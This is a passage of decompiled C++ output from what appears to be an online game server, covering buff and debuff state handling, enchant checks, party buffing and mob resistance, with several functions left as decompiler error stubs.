&ShineObjectClass::ShineObject::so_emptyabstate, 0x34u); v5 = (*(int (__thiscall **)(PROTO_NC_CHAR_ABSTATE_CMD *))(v2->chrregnum + 1304))(v2); arg.vfptr = (ListIteratorDefaultVtbl *)&ListEraser::_vftable_; v31 = v5 + 3480; LOBYTE(v32) = 1; List::l_4AllInList((List *)(v5 + 3480), &arg); v6 = *(_WORD *)(starttime + 4) == 0; LOBYTE(v32) = 0; arg.vfptr = (ListIteratorDefaultVtbl *)&ListIteratorDefault::_vftable_; i = 0; if ( !v6 ) { v7 = starttime + 6; while ( 1 ) { v8 = 10 * *(_DWORD *)(v7 + 3) / 0x3E8u; v33 = clockwatch.cw_CurrTick >= v8 ? clockwatch.cw_CurrTick - v8 : v4; v9 = *(_WORD *)v7; if ( unk_61527C < (unsigned int)v9 ) break; v10 = unk_615274 + 728 * v9; if ( !v10 || *(_DWORD *)v10 == v4 ) goto LABEL_9; v11 = 1; LABEL_10: if ( v11 == v4 ) { AssertClass::ac_AssertFail( &shineassert, "AbnormalStateContainer::AbnormalStateList::asl_Store : No dic", *(_WORD *)v7); v12 = (*(int (__thiscall **)(PROTO_NC_CHAR_ABSTATE_CMD *))(v2->chrregnum + 1352))(v2); v13 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v13; v14 = (char *)&namestring + 256 * v13; *(_DWORD *)v14 = *(_DWORD *)v12; *((_DWORD *)v14 + 1) = *(_DWORD *)(v12 + 4); *((_DWORD *)v14 + 2) = *(_DWORD *)(v12 + 8); *((_DWORD *)v14 + 3) = *(_DWORD *)(v12 + 12); v14[16] = 0; } else { v15 = *(_WORD *)(*(_DWORD *)v10 + 34); if ( v15 < unk_6150FC ) v16 = *(_DWORD *)(unk_615100 + 12 * v15); else v16 = 0; v17 = 0; if ( v16 ) { if ( (unsigned __int8)(*(int (__thiscall **)(_DWORD))(**(_DWORD **)v16 + 12))(*(_DWORD *)v16) ) v17 = 1; } else { AssertClass::ac_AssertFail( &shineassert, "AbnormalStateContainer::AbnormalStateList::asl_Store : invalid abstate", *(_DWORD *)(*(_DWORD *)v10 + 34)); } if ( *(_DWORD *)(v7 + 7) ) { v18 = clockwatch.cw_CurrTick; v27 = *(_DWORD *)(v7 + 7); } else { v18 = v33; v27 = 0; } (*(void (__thiscall **)(PROTO_NC_CHAR_ABSTATE_CMD *, int, _DWORD, _DWORD, int, unsigned int, _DWORD, _DWORD, int, _DWORD))(v2->chrregnum + 1528))( v2, v17 != 0 ? (int)v2 : 0, *(_DWORD *)(*(_DWORD *)v10 + 34), *(_BYTE *)(v7 + 2), v10, v18, 0, *(_WORD *)(v7 + 11), v27, 0); v19 = (*(int (__thiscall **)(PROTO_NC_CHAR_ABSTATE_CMD *))(v2->chrregnum + 1352))(v2); v20 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v20; v21 = (char *)&namestring + 256 * v20; *(_DWORD *)v21 = *(_DWORD *)v19; *((_DWORD *)v21 + 1) = *(_DWORD *)(v19 + 4); *((_DWORD *)v21 + 2) = *(_DWORD *)(v19 + 8); *((_DWORD *)v21 + 3) = *(_DWORD *)(v19 + 12); v21[16] = 0; v22 = AbnormalStateContainer::AbstateListInObject::asl_Abstate_IsSet( v29, *(ABSTATEINDEX *)(*(_DWORD *)v10 + 34)); if ( v22 ) SetItemData::SetItemAbstateEffect::siae_SetItemEffectRestore(&v22->aeo_SetItemEffect, (ABSTATEREADBLOCK *)v7); else AssertClass::ac_AssertFail( &shineassert, "AbnormalStateContainer::AbstateListInObject::asl_Store : Null abstate", *(_WORD *)v7); if ( !v17 ) { v23 = *(_DWORD *)(*(_DWORD *)v10 + 34); v24 = *(_DWORD *)(*(_DWORD *)v10 + 34) / 8; v25 = v23 % 8; v26 = (*(int (__thiscall **)(PROTO_NC_CHAR_ABSTATE_CMD *))(v2->chrregnum + 1164))(v2); *(_BYTE *)(v24 + v26) |= 1 << v25; } } v7 += 31; ++i; if ( i >= *(_WORD *)(starttime + 4) ) goto LABEL_31; v4 = 0; } AssertClass::ac_AssertFail(&shineassert, "AbnormalStateDictionary::AbState::as_FromID : Invalid skill id", v9); v10 = 0; LABEL_9: v11 = 0; goto LABEL_10; } LABEL_31: --funcallanalizer.fca_stackpoint; v32 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbstateListInObject::asl_Store"); } // 5BD578: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); // 5BD57C: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, int handle); //----- (00408C70) -------------------------------------------------------- #error "408C70: undefined or illegal type '#740' (funcsize=110)" //----- (00408DB0) -------------------------------------------------------- #error "408DB0: undefined or illegal type '#740' (funcsize=88)" //----- (00408EE0) -------------------------------------------------------- #error "408EE0: undefined or illegal type '#325' (funcsize=136)" //----- (00409090) -------------------------------------------------------- void __thiscall AbnormalStateContainer::SubAbnormalStateActor::sasa_AttachObject(AbnormalStateContainer::SubAbnormalStateActor *this, AbnormalStateContainer::AbstateElementInObject *pInObject, #325 *pTarget) { __int16 v3; // bx@4 void *v4; // eax@4 int v5; // edi@4 if ( pInObject && pTarget && AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument::assa_IsHaveEffect( (AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument *)(*((_DWORD *)&unk_611F6C + 3 * pInObject->aeo_Index) + 36 * pInObject->aeo_Strength + 8), SAA_METASKIN) ) { v3 = AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument::assa_FindEffect( (AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument *)(*((_DWORD *)&unk_611F6C + 3 * pInObject->aeo_Index) + 36 * pInObject->aeo_Strength + 8), SAA_METASKIN); v4 = (void *)ShineDynamicCast(pTarget); v5 = (int)v4; if ( v4 ) { ShineObjectClass::ShinePlayer::sp_StateChangeToNormal(v4); ShineObjectClass::ShinePlayer::sp_SkinPolymorph(v5, v3, pInObject->aeo_Index); } } } //----- (00409110) -------------------------------------------------------- void __thiscall AbnormalStateContainer::SubAbnormalStateActor::sasa_DetachObject(AbnormalStateContainer::SubAbnormalStateActor *this, AbnormalStateContainer::AbstateElementInObject *pInObject, #325 *pTarget) { AbnormalStateContainer::SubAbnormalStateActor *v3; // ebx@1 void *v4; // eax@4 void *v5; // edi@4 int v6; // eax@8 v3 = this; if ( pInObject && pTarget ) { if ( AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument::assa_IsHaveEffect( (AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument *)(*((_DWORD *)&unk_611F6C + 3 * pInObject->aeo_Index) + 36 * pInObject->aeo_Strength + 8), SAA_RELESEACTION) ) { v4 = (void *)ShineDynamicCast(pTarget); v5 = v4; if ( !v4 ) return; if ( ShineObjectClass::ShineMobileObject::smo_IsActiveMode(v4) ) v3->vfptr->sasa_Routine(v3, pInObject, (#740 *)v5, pInObject->aeo_Index); } if ( AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument::assa_IsHaveEffect( (AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument *)(*((_DWORD *)&unk_611F6C + 3 * pInObject->aeo_Index) + 36 * pInObject->aeo_Strength + 8), SAA_METASKIN) ) { v6 = (int)ShineDynamicCast(pTarget); if ( v6 ) ShineObjectClass::ShinePlayer::sp_SkinPolymorph(v6, -1, pInObject->aeo_Index); } } } //----- (004091D0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::so_smo_AbStateKeepTimeAdd(void *this, int substate, int millisec) { void *v3; // esi@1 int v4; // ebp@1 unsigned __int16 i; // ax@1 unsigned __int16 v6; // di@3 int v7; // ebx@4 unsigned __int16 v8; // si@4 bool v9; // cf@4 int v10; // eax@4 int v11; // ecx@5 int v12; // edx@6 int v13; // eax@10 int v14; // edi@11 int v15; // ecx@13 char *v16; // eax@13 int v17; // ecx@14 int v18; // ecx@15 int v19; // eax@19 void *v20; // [sp+4h] [bp-20h]@1 unsigned __int16 lt_2; // [sp+Eh] [bp-16h]@4 v3 = this; v20 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_smo_AbStateKeepTimeAdd"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::so_smo_AbStateKeepTimeAdd"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 1304))(v3); for ( i = *(_WORD *)(*(_DWORD *)(v4 + 3488) + 12 * *(_WORD *)(v4 + 3494) + 4); ; i = lt_2 ) { v6 = *(_WORD *)(v4 + 3484); if ( i >= v6 ) break; v7 = i; v8 = i; v9 = i < v6; v10 = *(_DWORD *)(v4 + 3488); lt_2 = *(_WORD *)(v10 + 12 * v7 + 4); if ( v9 && (v11 = v10 + 12 * v7, *(_BYTE *)(v11 + 8)) ) v12 = *(_DWORD *)v11; else v12 = 0; if ( *(_DWORD *)(*(_DWORD *)(*((_DWORD *)&unk_611F6C + 3 * *(_DWORD *)(v12 + 4)) + 36 * *(_BYTE *)(v12 + 16) + 8) + 38) == substate ) { if ( v8 < v6 && (v13 = v10 + 12 * v7, *(_BYTE *)(v13 + 8)) ) v14 = *(_DWORD *)v13; else v14 = 0; v15 = (signed int)(1000 * (*(_DWORD *)(v14 + 24) - clockwatch.cw_CurrTick)) / 10; *(_DWORD *)(v14 + 24) += 10 * millisec / 1000; v16 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 9258; *(_DWORD *)(v16 + 6) = millisec + v15; if ( v8 < *(_WORD *)(v4 + 3484) && (v17 = *(_DWORD *)(v4 + 3488) + 12 * v7, *(_BYTE *)(v17 + 8)) ) v18 = *(_DWORD *)v17; else v18 = 0; *(_DWORD *)(v16 + 2) = *(_DWORD *)(v18 + 4); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 10) ) { v19 = (*(int (__thiscall **)(void *))(*(_DWORD *)v20 + 764))(v20); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v19 + 12))(v19, v20, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_AbnormalState_Inform : Packet Too Long", 10); } } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_smo_AbStateKeepTimeAdd"); } //----- (004093F0) -------------------------------------------------------- char __thiscall AbnormalStateContainer::AbstateListInObject::asl_CanEnchant(void *this, int abstateidx, int strength) { void *v3; // esi@1 signed int v4; // ebx@1 AbnormalStateContainer::AbstateElementInObject *v5; // eax@1 int v6; // edx@2 FunctionProfiler::PerformanceRecorder *v7; // ecx@2 int v9; // edi@5 int v10; // edi@7 int v11; // edi@7 int v12; // ebp@7 int v13; // eax@8 int v14; // edx@8 unsigned __int16 v15; // si@8 unsigned __int16 v16; // cx@8 int v17; // eax@11 unsigned __int16 v18; // bx@11 bool v19; // cf@11 int v20; // eax@12 bool v21; // zf@12 int v22; // eax@12 int v23; // eax@13 int v24; // eax@15 int v25; // eax@18 int v26; // ecx@19 SubAbstatePriority::StateExchange v27; // eax@21 char *v28; // [sp-10h] [bp-24h]@2 FunctionEntarance _; // [sp+4h] [bp-10h]@1 int v30; // [sp+10h] [bp-4h]@1 AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument *abstateidxa; // [sp+18h] [bp+4h]@7 v3 = this; _.fe_FunctionCode = "AbnormalStateContainer::AbstateListInObject::asl_CanEnchant"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AbnormalStateContainer::AbstateListInObject::asl_CanEnchant"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AbnormalStateContainer::AbstateListInObject::asl_CanEnchant"; v4 = -1; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v30 = 0; v5 = AbnormalStateContainer::AbstateListInObject::asl_Abstate_IsSet(v3, (ABSTATEINDEX)abstateidx); if ( v5 ) { v6 = v5->aeo_Strength; --funcallanalizer.fca_stackpoint; v28 = "AbnormalStateContainer::AbstateListInObject::asl_CanEnchant"; v30 = -1; v7 = &_PerformanceRecorder; if ( v6 > strength ) { FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbstateListInObject::asl_CanEnchant"); return 0; } } else { if ( abstateidx < 412 ) { v9 = dword_615280[abstateidx]; } else { AssertClass::ac_AssertFail( &shineassert, "AbnormalStateDictionary::AbState::as_FromIndex : Invalid skill idx", abstateidx); v9 = 0; } v10 = v9 + 36 * strength + 8; abstateidxa = (AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument *)v10; v11 = *(_DWORD *)v10; v12 = *(_DWORD *)(v11 + 38); if ( v12 != 38 ) { v13 = *((_WORD *)v3 + 1747); v14 = *((_DWORD *)v3 + 872); v15 = *((_WORD *)v3 + 1742); v16 = *(_WORD *)(v14 + 12 * v13 + 4); while ( v16 < v15 ) { v17 = v16; v18 = v16; v19 = v16 < v15; v16 = *(_WORD *)(v14 + 12 * v16 + 4); if ( !v19 || (v20 = 3 * v17, v21 = *(_BYTE *)(v14 + 4 * v20 + 8) == 0, v22 = v14 + 4 * v20, v21) ) v23 = 0; else v23 = *(_DWORD *)v22; v24 = 12 * *(_DWORD *)(v23 + 4); if ( *(_WORD *)((char *)&unk_611F70 + v24) == v12 && *(_WORD *)((char *)&unk_611F72 + v24) == *(_BYTE *)(v11 + 42) ) { if ( v18 < v15 && (v25 = v14 + 12 * v18, *(_BYTE *)(v25 + 8)) ) v26 = *(_DWORD *)v25; else v26 = 0; v27 = SubAbstatePriority::PriorityBase::bp_AbStateChange( &subabpriority, (AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument *)(*((_DWORD *)&unk_611F6C + 3 * *(_DWORD *)(v26 + 4)) + 36 * *(_BYTE *)(v26 + 16) + 8), abstateidxa); if ( v27 && v27 != 1 ) { v30 = -1; FunctionEntarance::_FunctionEntarance(&_); return 0; } v4 = -1; break; } v4 = -1; } } --funcallanalizer.fca_stackpoint; v30 = v4; v28 = "AbnormalStateContainer::AbstateListInObject::asl_CanEnchant"; v7 = &_PerformanceRecorder; } FunctionProfiler::PerformanceRecorder::pr_Exit(v7, v28); return 1; } //----- (00409610) -------------------------------------------------------- #error "409610: undefined or illegal type '#325' (funcsize=182)" //----- (004098B0) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { ListEraser eraser; // [sp+0h] [bp-14h]@1 int v2; // [sp+10h] [bp-4h]@1 eraser.baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ListEraser::_vftable_; eraser.le_list = this; v2 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 5BD57C: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, int handle); //----- (00409900) -------------------------------------------------------- void *__thiscall AbnormalStateContainer::AbstateListInObject::AbstateListInObject(void *ptr) { void *v1; // edi@1 int v2; // esi@1 signed int v3; // ecx@1 signed int v4; // eax@1 int v5; // edi@1 int v6; // edx@3 int v7; // ebp@3 int v8; // edx@3 int v9; // edx@6 int v10; // ebp@6 int v11; // edx@6 int v12; // edx@9 int v13; // ebp@9 int v14; // edx@9 int v15; // edx@12 int v16; // ebp@12 int v17; // edx@12 int v18; // edx@15 int v19; // ebp@15 int v20; // edx@15 int v21; // edx@18 int v22; // ebp@18 int v23; // edx@18 void *v25; // [sp+Ch] [bp-10h]@1 v1 = ptr; v25 = ptr; _eh_vector_constructor_iterator_( ptr, 0x74u, 30, (void (__thiscall *)(void *))AbnormalStateContainer::AbstateElementInObject::AbstateElementInObject, (void (__thiscall *)(void *))AbnormalStateContainer::AbstateElementInObject::_AbstateElementInObject); v2 = (int)((char *)v1 + 3480); *((_DWORD *)v1 + 870) = List::_vftable_; *((_DWORD *)v1 + 874) = 0; List::l_MakeList( (List *)v1 + 145, 0x1Eu); v3 = 2; v4 = 36; v5 = (int)((char *)v1 + 232); do { if ( v3 - 2 < *(_WORD *)(v2 + 4) ) { v6 = *(_DWORD *)(v2 + 8); v7 = *(_DWORD *)(v6 + v4 - 36); v8 = v6 + v4 - 36; if ( !v7 ) *(_DWORD *)v8 = v5 - 232; } if ( v3 - 1 < *(_WORD *)(v2 + 4) ) { v9 = *(_DWORD *)(v2 + 8); v10 = *(_DWORD *)(v9 + v4 - 24); v11 = v9 + v4 - 24; if ( !v10 ) *(_DWORD *)v11 = v5 - 116; } if ( v3 < *(_WORD *)(v2 + 4) ) { v12 = *(_DWORD *)(v2 + 8); v13 = *(_DWORD *)(v12 + v4 - 12); v14 = v12 + v4 - 12; if ( !v13 ) *(_DWORD *)v14 = v5; } if ( v3 + 1 < *(_WORD *)(v2 + 4) ) { v15 = *(_DWORD *)(v2 + 8); v16 = *(_DWORD *)(v15 + v4); v17 = v4 + v15; if ( !v16 ) *(_DWORD *)v17 = v5 + 116; } if ( v3 + 2 < *(_WORD *)(v2 + 4) ) { v18 = *(_DWORD *)(v2 + 8); v19 = *(_DWORD *)(v18 + v4 + 12); v20 = v18 + v4 + 12; if ( !v19 ) *(_DWORD *)v20 = v5 + 232; } if ( v3 + 3 < *(_WORD *)(v2 + 4) ) { v21 = *(_DWORD *)(v2 + 8); v22 = *(_DWORD *)(v21 + v4 + 24); v23 = v21 + v4 + 24; if ( !v22 ) *(_DWORD *)v23 = v5 + 348; } v3 += 6; v5 += 696; v4 += 72; } while ( v3 - 2 < 30 ); return v25; } // 5A2C30: using guessed type int (__stdcall *List_AbnormalStateContainer__AbstateElementInObject____vftable_[3])(__int16 hnd); //----- (00409A50) -------------------------------------------------------- #error "409A50: undefined or illegal type '#325' (funcsize=257)" //----- (00409DD0) -------------------------------------------------------- #error "409DD0: undefined or illegal type '#325' (funcsize=32)" //----- (00409E20) -------------------------------------------------------- #error "409E20: undefined or illegal type '#325' (funcsize=32)" //----- (00409E70) -------------------------------------------------------- #error "409E70: undefined or illegal type '#740' (funcsize=101)" //----- (00409FB0) -------------------------------------------------------- #error "409FB0: undefined or illegal type '#740' (funcsize=300)" //----- (0040A410) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMobileObject::so_smo_CanEnchant(void *this, int abstateidx, int strength) { void *v3; // esi@1 char v4; // al@1 char v5; // bl@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_smo_CanEnchant"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::so_smo_CanEnchant"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = AbnormalStateContainer::AbstateListInObject::asl_CanEnchant((char *)v3 + 204, abstateidx, strength); --funcallanalizer.fca_stackpoint; v5 = v4; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_smo_CanEnchant"); return v5; } //----- (0040A4C0) -------------------------------------------------------- void __thiscall List::l_MakeList(List *this, unsigned __int16 size) { List *v2; // esi@1 void *v3; // eax@3 signed int v4; // eax@4 int v5; // ecx@4 signed int v6; // eax@6 int v7; // ecx@7 unsigned __int16 v8; // ax@9 ListStruct *v9; // edi@9 int v10; // eax@9 v2 = this; this->l_MaxSize = size; if ( size == -1 ) { this->l_Array = 0; } else { v3 = operator new__(12 * (size + 1)); v2->l_Array = (ListStruct *)v3; if ( v3 ) { v4 = 0; v5 = 0; do { v2->l_Array[v5].ls_Content = 0; ++v4; ++v5; } while ( v4 <= v2->l_MaxSize ); v6 = 0; if ( v2->l_MaxSize > 0u ) { v7 = 0; do { v2->l_Array[v7].ls_Prev = v6 - 1; v2->l_Array[v7].ls_Next = v6 + 1; v2->l_Array[v7].ls_IsActiv = 0; ++v6; ++v7; } while ( v6 < v2->l_MaxSize ); } v2->l_Array->ls_Prev = v2->l_MaxSize - 1; *((_WORD *)&v2->l_Array[v2->l_MaxSize] - 4) = 0; v8 = v2->l_MaxSize; v9 = v2->l_Array; v2->l_Finger.store = v8; v2->l_Finger.empty = 0; v9[v8].ls_Prev = v8; v10 = (int)&v2->l_Array[v2->l_MaxSize]; *(_WORD *)(v10 + 4) = *(_WORD *)(v10 + 6); v2->l_Array[v2->l_MaxSize].ls_Content = 0; v2->l_Array[v2->l_MaxSize].ls_IsActiv = 1; v2->l_ListNum = 0; List::l_Clear(v2); } } } //----- (0040A5E0) -------------------------------------------------------- void __thiscall AxialListNearScanParty::alnsp_Buffing(AxialListNearScanParty *this, int num, #325 *caster, ABSTATEINDEX soul, int strength, AbnormalStateDictionary::AbState::AbStateStr *sklidx, int empowkeeptime) { AxialListNearScanParty *v7; // esi@1 int v8; // ecx@1 void *v9; // esi@5 unsigned int v10; // ST14_4@6 #325 *v11; // eax@6 bool v12; // zf@8 int v13; // [sp+1Ch] [bp-14h]@4 int numa; // [sp+34h] [bp+4h]@4 v7 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AxialListNearScanParty::alnsp_Buffing"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AxialListNearScanParty::alnsp_Buffing"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v8 = num; if ( num >= v7->baseclass_0.alns_bp ) v8 = v7->baseclass_0.alns_bp; if ( v8 > 0 ) { numa = (int)v7->baseclass_0.alns_buffer; v13 = v8; do { v9 = *(void **)numa; if ( (unsigned __int8)(*(int (__thiscall **)(_DWORD))(**(_DWORD **)numa + 1136))(*(_DWORD *)numa) != 3 ) { v10 = clockwatch.cw_CurrTick; v11 = (#325 *)(*(int (__thiscall **)(_DWORD, _DWORD))(*(_DWORD *)v9 + 1304))(v9, caster); if ( AbnormalStateContainer::AbstateListInObject::asl_AbstateSet( v11, soul, strength, sklidx, (#325 *)v9, v10, empowkeeptime, 0, 0, EF_PARTYBUFF2MEMBER) ) { ShineObjectClass::ShineObject::so_AbnormalState_BroadcastSet(v9, soul, -1, strength); (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, _DWORD))(*(_DWORD *)v9 + 992))(v9, soul, -1, 0); } } v12 = v13 == 1; numa += 8; --v13; } while ( !v12 ); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AxialListNearScanParty::alnsp_Buffing"); } //----- (0040A720) -------------------------------------------------------- void __thiscall AxialListNearScanCoupleParty::alnsp_Buffing(AxialListNearScanCoupleParty *this, int num, #325 *caster, ABSTATEINDEX soul, int strength, AbnormalStateDictionary::AbState::AbStateStr *sklidx, int empowkeeptime) { AxialListNearScanCoupleParty *v7; // esi@1 int v8; // ecx@1 void *v9; // esi@5 unsigned int v10; // ST14_4@6 #325 *v11; // eax@6 bool v12; // zf@8 int v13; // [sp+1Ch] [bp-14h]@4 int numa; // [sp+34h] [bp+4h]@4 v7 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AxialListNearScanCoupleParty::alnsp_Buffing"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AxialListNearScanCoupleParty::alnsp_Buffing"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v8 = num; if ( num >= v7->baseclass_0.alns_bp ) v8 = v7->baseclass_0.alns_bp; if ( v8 > 0 ) { numa = (int)v7->baseclass_0.alns_buffer; v13 = v8; do { v9 = *(void **)numa; if ( (unsigned __int8)(*(int (__thiscall **)(_DWORD))(**(_DWORD **)numa + 1136))(*(_DWORD *)numa) != 3 ) { v10 = clockwatch.cw_CurrTick; v11 = (#325 *)(*(int (__thiscall **)(_DWORD, _DWORD))(*(_DWORD *)v9 + 1304))(v9, caster); if ( AbnormalStateContainer::AbstateListInObject::asl_AbstateSet( v11, soul, strength, sklidx, (#325 *)v9, v10, empowkeeptime, 0, 0, EF_PARTYBUFF2MEMBER) ) { ShineObjectClass::ShineObject::so_AbnormalState_BroadcastSet(v9, soul, -1, strength); (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, _DWORD))(*(_DWORD *)v9 + 992))(v9, soul, -1, 0); } } v12 = v13 == 1; numa += 8; --v13; } while ( !v12 ); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AxialListNearScanCoupleParty::alnsp_Buffing"); } //----- (0040A860) -------------------------------------------------------- void __thiscall AxialListNearScanGuildAcademy::alnsga_Buffing(AxialListNearScanGuildAcademy *this, int num, #325 *caster, ABSTATEINDEX soul, int strength, AbnormalStateDictionary::AbState::AbStateStr *sklidx, int empowkeeptime) { AxialListNearScanGuildAcademy *v7; // esi@1 int v8; // ecx@1 void *v9; // esi@5 unsigned int v10; // ST14_4@6 #325 *v11; // eax@6 bool v12; // zf@8 int v13; // [sp+1Ch] [bp-14h]@4 int numa; // [sp+34h] [bp+4h]@4 v7 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AxialListNearScanGuildAcademy::alnsga_Buffing"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AxialListNearScanGuildAcademy::alnsga_Buffing"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v8 = num; if ( num >= v7->baseclass_0.alns_bp ) v8 = v7->baseclass_0.alns_bp; if ( v8 > 0 ) { numa = (int)v7->baseclass_0.alns_buffer; v13 = v8; do { v9 = *(void **)numa; if ( (unsigned __int8)(*(int (__thiscall **)(_DWORD))(**(_DWORD **)numa + 1136))(*(_DWORD *)numa) != 3 ) { v10 = clockwatch.cw_CurrTick; v11 = (#325 *)(*(int (__thiscall **)(_DWORD, _DWORD))(*(_DWORD *)v9 + 1304))(v9, caster); if ( AbnormalStateContainer::AbstateListInObject::asl_AbstateSet( v11, soul, strength, sklidx, (#325 *)v9, v10, empowkeeptime, 0, 0, EF_PARTYBUFF2MEMBER) ) { ShineObjectClass::ShineObject::so_AbnormalState_BroadcastSet(v9, soul, -1, strength); (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, _DWORD))(*(_DWORD *)v9 + 992))(v9, soul, -1, 0); } } v12 = v13 == 1; numa += 8; --v13; } while ( !v12 ); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AxialListNearScanGuildAcademy::alnsga_Buffing"); } //----- (0040A9A0) -------------------------------------------------------- #error "40A9A0: undefined or illegal type '#740' (funcsize=209)" //----- (0040AC90) -------------------------------------------------------- #error "40AC90: undefined or illegal type '#740' (funcsize=242)" //----- (0040AFD0) -------------------------------------------------------- #error "40AFD0: undefined or illegal type '#740' (funcsize=165)" //----- (0040B220) -------------------------------------------------------- #error "40B220: undefined or illegal type 'ListArray' (funcsize=2903)" //----- (0040E670) -------------------------------------------------------- int __thiscall AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument::assa_FindEffect(AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument *this, SubAbstateAction action) { unsigned int v2; // eax@1 char *v3; // edx@1 v2 = 0; v3 = (char *)this->assa_Effect; while ( *(_DWORD *)v3 != action ) { ++v2; v3 += 8; if ( v2 >= 4 ) return 0; } return this->assa_Effect[v2].value; } //----- (0040E6A0) -------------------------------------------------------- bool __thiscall AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument::assa_IsHaveEffect(AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument *this, SubAbstateAction action) { unsigned int v2; // eax@1 char *v3; // ecx@1 v2 = 0; v3 = (char *)this->assa_Effect; while ( *(_DWORD *)v3 != action ) { ++v2; v3 += 8; if ( v2 >= 4 ) return 0; } return 1; } //----- (0040E6D0) -------------------------------------------------------- #error "40E6D0: undefined or illegal type '#325' (funcsize=22)" //----- (0040E710) -------------------------------------------------------- #error "40E710: undefined or illegal type '#325' (funcsize=74)" //----- (0040E7D0) -------------------------------------------------------- #error "40E7D0: undefined or illegal type '#325' (funcsize=90)" //----- (0040E8B0) -------------------------------------------------------- #error "40E8B0: undefined or illegal type '#325' (funcsize=93)" //----- (0040E990) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineObject::so_AbnormalState_Set(#325 *this, #325 *a2, ABSTATEINDEX stateid, int strength, AbnormalStateDictionary::AbState::AbStateStr *sklidx, unsigned int starttime, int empowkeeptime, int restcount, int justkeep_millisec, AbnormalStateContainer::EnchantFrom enchantfrom) { return 0; } //----- (0040E9A0) -------------------------------------------------------- #error "40E9A0: undefined or illegal type '#325' (funcsize=67)" //----- (0040EA50) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShineMob::so_AbnormalState_Resist(int this, int sklidx) { unsigned __int16 v2; // ax@1 signed int v3; // esi@1 MobResist *v4; // eax@3 unsigned int v5; // eax@15 char *v6; // eax@15 int v7; // ecx@15 v2 = *(_WORD *)(*(_DWORD *)(this + 7536) + 20); v3 = 0; if ( v2 != -1 ) { if ( *(_DWORD *)(*(_DWORD *)sklidx + 248) ) { v4 = MobResistTable::operator__(&mobresisttable, v2); if ( v4 ) { switch ( *(_DWORD *)(*(_DWORD *)sklidx + 248) ) { case 4: v3 = v4->ResDot; break; case 1: v3 = v4->ResStun; break; case 2: v3 = v4->ResMoveSpeed; break; case 3: v3 = v4->ResFear; break; case 8: v3 = v4->ResBinding; break; case 7: v3 = v4->ResReverse; break; case 9: v3 = 